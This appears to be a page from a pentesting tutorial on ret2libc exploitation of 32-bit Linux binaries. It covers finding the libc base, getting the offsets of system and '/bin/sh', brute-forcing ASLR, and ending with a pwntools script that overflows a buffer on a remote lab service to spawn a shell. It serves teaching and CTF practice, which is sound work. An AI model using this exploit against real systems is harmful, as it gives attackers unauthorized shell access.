# Ret2Lib **If you have found a vulnerable binary and you think that you can exploit it using Ret2Lib here you can find some basic steps that you can follow.** ## If you are **inside** the **host** ### You can find the **address of lib**c ```bash ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time) ``` If you want to check if the ASLR is changing the address of libc you can do: ```bash for i in `seq 0 20`; do ldd | grep libc; done ``` ### Get offset of system function ```bash readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system ``` ### Get offset of "/bin/sh" ```bash strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh ``` ### /proc/\/maps If the process is creating **children** every time you talk with it (network server) try to **read** that file (probably you will need to be root). Here you can find **exactly where is the libc loaded** inside the process and **where is going to be loaded** for every children of the process. ![](<../../.gitbook/assets/image (95).png>) In this case it is loaded in **0xb75dc000** (This will be the base address of libc) ### Using gdb-peda Get address of **system** function, of **exit** function and of the string **"/bin/sh"** using gdb-peda: ``` p system p exit find "/bin/sh" ``` ## Bypassing ASLR You can try to bruteforce the abse address of libc. ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` ## Code ```python from pwn import * c = remote('192.168.85.181',20002) c.recvline() #Banner for off in range(0xb7000000, 0xb8000000, 0x1000): p = "" p += p32(off + 0x0003cb20) #system p += "CCCC" #GARBAGE p += p32(off + 0x001388da) #/bin/sh payload = 'A'*0x20010 + p c.send(payload) c.interactive() #? ```